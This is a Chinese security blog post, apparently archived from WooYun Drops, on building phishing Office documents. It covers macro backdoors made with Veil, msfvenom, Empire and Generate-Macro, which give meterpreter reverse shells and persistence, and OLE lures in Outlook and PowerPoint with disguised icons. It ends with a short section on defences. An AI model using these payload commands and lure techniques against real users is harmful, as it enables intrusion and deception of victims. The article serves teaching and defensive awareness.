
        <html>
			<head>
			     <title>Office Phishing - Evi1cg</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/13246">http://drops.wooyun.org/tips/13246</a></h1>
				
      <p>
        <p><img src="http://static.wooyun.org//drops/20160302/2016030204594956028p1.png" alt="Alt text" /></p>

<p>Office作为Windows平台下一种非常流行的办公软件，越来越多的APT攻击通过构造恶意Office文件来进行实施，这也是成功率也是比较高的一种攻击方式。当然最隐蔽，最有效的攻击方式就是通过Office办公套件的一些0day来实施攻击，但是这也同样存在一些弊端，首先不是所有人都拥有0day，其次那些已经公布的Xday可能只能针对某些固定版本的Office，所以本文重点不在如果使用Xday，而是对现在已知的一些构造Office Phishing File的方式及方法进行总结，希望对学习Hack的同学有所帮助，当然也希望，通过此文，小伙伴能避免遭受此类攻击。</p>

<!--more-->

<p><code>以下测试均在安装某安全卫士的Win10上面进行。</code></p>

<h1>0x00 Office 宏</h1>

<hr />

<p>宏是微软公司为其OFFICE软件包设计的一个特殊功能，软件设计者为了让人们在使用软件进行工作时，避免一再地重复相同的动作而设计出来的一种工具，它利用简单的语法，把常用的动作写成宏，当在工作时，就可以直接利用事先编好的宏自动运行，去完成某项特定的任务，而不必再重复相同的动作，目的是让用户文档中的一些任务自动化。但是宏在提供方便的同时，也存在很大的风险，其危害在Freebuf上也有过相关文章：<a href="http://www.freebuf.com/vuls/82511.html">《MWI-5：利用Office宏下载键盘记录器的攻击活动分析》</a>，下文将会介绍几个知名工具构造宏后门的方式。</p>

<h3>1、 Veil</h3>

<p>测试使用powershell/shellcode_inject/virtual，选择以后直接generate</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030204595367049p2.png" alt="Alt text" /></p>

<p>随便输入一个名字之后成功生成：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030204595639279p3.png" alt="Alt text" /></p>

<p>然后需要下载一个转换脚本：</p>

<pre><code>#!bash
☁  office  git clone https://github.com/khr0x40sh/MacroShop.git
</code></pre>

<p>使用下载的python脚本转换为VBA脚本：</p>

<pre><code>#!bash
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="d3a1bcbca793b8b2bfba">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/script/MacroShop# python macro_safe.py /usr/share/veil-output/source/test.bat
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205000037653p4.png" alt="Alt text" /></p>

<p>之后将生成的内容添加到OFFice文件宏里面。创建宏，<code>注意选择宏的位置</code>为当前文档:</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205004042048p25.png" alt="Alt text" /></p>

<p>接下来选择Project 下面的Microsoft Word对象，选择Document->open,然后将生成的代码粘进去。要保存的代码如下图</p>

<blockquote>
  <p>这里注意一点，脚本生成的默认是打开表格的宏，所以，这里只要函数内容，注意打钩的。</p>
</blockquote>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205000262837p5.png" alt="Alt text" /></p>

<p>之后保存为启用宏的Word文档或者doc文档。</p>

<p>开启监听：</p>

<pre><code>#!bash
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="70021f1f04301b111c19">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~/Veil-Evasion# msfconsole -r /usr/share/veil-output/handlers/test_handler.rc
</code></pre>

<p>打开word文档会有此提示：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205000446213p6.png" alt="Alt text" /></p>

<p>点击启用，则生成meterpreter会话。</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205000695022p7.png" alt="Alt text" /></p>

<h3>2、 Nishang</h3>

<p>nishang的使用早在<a href="http://drops.wooyun.org/tips/8568">《使用powershell Client进行有效钓鱼》</a> 有所介绍，有兴趣的小伙伴可以再去看看。</p>

<h3>3、 Metasploit</h3>

<p>作为一个神器，Msf当然也可以生成VBA的后门文件，具体命令如下：</p>

<pre><code>#!bash
☁  ~  msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.100 lport=8888 -e x86/shikata_ga_nai exitfunc=thread -f vba &gt; vcode.txt
</code></pre>

<h3>4、 Empire</h3>

<pre><code>#!bash
(Empire) &gt; listeners
[!] No listeners currently active 
(Empire: listeners) &gt; execute
(Empire: listeners) &gt; usestager macro
(Empire: stager/macro) &gt; set Listener test
(Empire: stager/macro) &gt; set OutFile /tmp/macro.txt
(Empire: stager/macro) &gt; execute

[*] Stager output written out to: /tmp/macro.txt
</code></pre>

<p>将代码写入宏，执行可成功返回会话：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205000879147p8.png" alt="Alt text" /></p>

<h3>5、 Scripts</h3>

<pre><code>#!bash
☁  office  git clone https://github.com/enigma0x3/Generate-Macro.git
</code></pre>

<p>使用方式如下：</p>

<pre><code>#!powershell
PS C:\Users\Evi1cg\Desktop&gt; . .\Generate-Macro.ps1
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-Shellcode.ps1
Enter IP Address: 192.168.2.111
Enter Port Number: 6666
Enter the name of the document (Do not include a file extension): Macro

--------Select Attack---------
1. Meterpreter Shell with Logon Persistence
2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin)
3. Meterpreter Shell with Alternate Data Stream Persistence
4. Meterpreter Shell with Scheduled Task Persistence
------------------------------
Select Attack Number &amp; Press Enter: 1

--------Select Payload---------
1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
------------------------------
Select Payload Number &amp; Press Enter: 2
Saved to file C:\Users\Evi1cg\Desktop\Macro.xls
Clean-up Script located at C:\Users\Evi1cg\Desktop\RegistryCleanup.ps1
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205001017842p9.png" alt="Alt text" /></p>

<p>运行Excel以后则生成meterpreter会话：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205001295612p10.png" alt="Alt text" /></p>

<p>同时生成自启动后门：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205001368006p11.png" alt="Alt text" /></p>

<blockquote>
  <p>具体键值为<code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load</code></p>
</blockquote>

<p>清除后门可以使用如下命令：</p>

<pre><code>#!powershell
PS C:\Users\Evi1cg\Desktop&gt; . .\RegistryCleanup.ps1
[*]Successfully Removed config.vbs from C:\Users\Public
[*]Successfully Removed Malicious Load entry from HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
[!]Path not valid
[!]Path not valid
</code></pre>

<p>具体其他后门的使用，有兴趣的小伙伴可是自己实践一下。</p>

<p>其他Macro后门相关的脚本如下：</p>

<ul>
<li><a href="https://github.com/enigma0x3/Old-Powershell-payload-Excel-Delivery">Old-Powershell-payload-Excel-Delivery</a></li>
<li><a href="https://github.com/enigma0x3/OutlookPersistence">OutlookPersistence</a></li>
<li><a href="https://raw.githubusercontent.com/OpenWireSec/metasploit/master/tools/exe2vba.rb">exe2vba.rb</a></li>
<li><a href="https://github.com/trustedsec/unicorn.git">unicorn</a></li>
</ul>

<h1>0x01 Office OLE</h1>

<hr />

<p>OLE是Object Linking and Embedding的缩写，即“对象链接与嵌入”，这是一种把一个文件的一部分嵌入到另一个文件之中的技术，此类攻击方式也被常常应用于APT中，其有一个好处就是不需要用户开启宏，及在禁用宏的情况下执行命令。</p>

<h3>1、 Outlook OLE</h3>

<p>@三好学生 之前在Zone里面曾经有一个介绍：<a href="http://zone.wooyun.org/content/24657">Outlook OLE 钓鱼邮件利用介绍</a>，本人在win10+offcie2016下作了测试，在这里做一下简单的介绍，制作此钓鱼文件步骤如下：</p>

<ol>
<li><p>新建邮件，在设置文本格式处选择RTF：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205001561712p12.png" alt="Alt text" /></p></li>
<li><p>选择插入->对象->Package，选择显示为图标：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205001839171p13.png" alt="Alt text" /></p></li>
<li><p>然后将图标换为Word图标，并修改题注为迷惑性名称：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205001933441p14.png" alt="Alt text" /></p></li>
<li><p>绑定指定程序或脚本；</p></li>
<li><p>将RTF再改为HTML ；</p></li>
<li><p>添加其他迷惑内容 ：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205002117929p15.png" alt="Alt text" /></p></li>
<li><p>保存为test.msg ；</p></li>
<li><p>发送给受害者。</p></li>
</ol>

<p>受害者运行以后会有以下提示：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205002327238p16.png" alt="Alt text" /></p>

<p>点击是以后会弹：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205002532569p17.png" alt="Alt text" /></p>

<p>点击打开，成功执行：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205002699249p18.png" alt="Alt text" /></p>

<h3>2、 PowerPoint OLE</h3>

<p>通过PowerPoint演示文稿进行Phishing，同样不需要启用宏，制作步骤如下：</p>

<ol>
<li>创建新的PowerPoint文件；</li>
<li><p>创建VBS脚本，为了简单演示，只写了一个弹框：</p>

<pre><code>#!vb
Msgbox("test")
</code></pre></li>
<li><p>将VBS拖入PPT；</p></li>
<li><p>为VBS添加动画->OLE操作动作并选择激活，如下图：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205002869392p19.png" alt="Alt text" /></p></li>
<li><p>选择动画窗格->效果选项：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205003032622p20.png" alt="Alt text" /></p></li>
<li><p>选择计时->与上一动画同时：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205003240105p21.png" alt="Alt text" /></p></li>
<li><p>为PPT添加内容；</p></li>
<li><p>另存为放映文件pps或者ppsx；</p></li>
<li><p>发送给受害者。</p></li>
</ol>

<p>受害者打开会弹出如下提示框：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205003412813p22.png" alt="Alt text" /></p>

<p>点击打开，执行脚本。</p>

<p>对于VBS后门，本文就不再详细描述怎么制作了，很多姿势小伙伴们可以自己搜集一下，比较好玩儿的请参考:<a href="http://drops.wooyun.org/tips/12386">JavaScript Phishing</a></p>

<p>对于VBS脚本可以使用这个脚本来进行加密：<a href="https://gallery.technet.microsoft.com/Encode-and-Decode-a-VB-a480d74c">ncode-and-Decode-a-VB</a></p>

<h1>0x02 防御</h1>

<hr />

<p>关于通过Office宏或者OLE对象进行的攻击从90年代开始了，然而现在还在利用中，如何更好地防御此类攻击呢？</p>

<ol>
<li>你可以教育你的员工不要点启用宏，不要随便乱点确定，不要随便下载不明文件等。</li>
<li><p>配置组策略，如果在域下，可以批量配置管理模板。</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205003652176p23.jpg" alt="Alt text" /></p>

<p>设置 Disable all except digitally signed macros：</p>

<p><img src="http://static.wooyun.org//drops/20160302/2016030205003832844p24.jpeg" alt="Alt text" /></p>

<blockquote>
  <p>更多细节请看<a href="https://technet.microsoft.com/en-us/library/cc179039.aspx">这里</a></p>
</blockquote></li>
<li><p>对于.msg、.rtf、.pps 后缀的文件要格外注意；</p></li>
<li><p>采用EMET，如果你不知道EMET是什么，可以<a href="https://www.microsoft.com/en-us/download/details.aspx?id=50766&amp;WT.mc_id=rss_windows_allproducts">看这里</a>。</p></li>
</ol>

<blockquote>
  <p>以上方法来自于<a href="https://medium.com/@networksecurity/it-s-time-to-secure-microsoft-office-be50ec2797e3#.612sh3mlk">it-s-time-to-secure-microsoft-office</a>，关于规划Office的VBA宏的安全设置请看<a href="https://msdn.microsoft.com/zh-cn/magazine/ee857085(office.15).aspx">这里</a>。</p>
</blockquote>

<h1>0x03 小结</h1>

<hr />

<p>使用Office进行APT攻击的情形越来越多，在没有0day的情况下，我们应该至少对于以上类型的钓鱼攻击进行了解及防范，以上为个人所了解的几种构造Office钓鱼文件的方式，可能并不全面，如果小伙伴还有别的姿势，请不吝赐教。</p>

<h1>0x04 参考</h1>

<hr />

<ul>
<li><a href="http://phishme.com/powerpoint-and-custom-actions/">http://phishme.com/powerpoint-and-custom-actions/</a></li>
<li><a href="http://zone.wooyun.org/content/24657">http://zone.wooyun.org/content/24657</a></li>
<li><a href="https://medium.com/@networksecurity/oleoutlook-bypass-almost-every-corporate-security-control-with-a-point-n-click-gui-37f4cbc107d0#.92vne7zgd">https:<span class="__cf_email__" data-cfemail="113e3e7c747578647c3f727e7c3e517f7465667e637a6274726463786568">[email&#160;protected]</span><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script><span class="__cf_email__" data-cfemail="c4ebaba8a1abb1b0a8ababafe9a6bdb4a5b7b7e9a5a8a9abb7b0e9a1b2a1b6bde9a7abb6b4abb6a5b0a1e9b7a1a7b1b6adb0bde9a7abaab0b6aba8e9b3adb0ace9a5">[email&#160;protected]</span><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>-point-n-click-gui-37f4cbc107d0#.92vne7zgd</a></li>
<li><a href="https://www.youtube.com/watch?v=xm4PwyPCacw">https://www.youtube.com/watch?v=xm4PwyPCacw</a></li>
<li><a href="https://www.youtube.com/watch?v=j0CnVokavtI">https://www.youtube.com/watch?v=j0CnVokavtI</a></li>
</ul>

<p><strong>本文由evi1cg原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          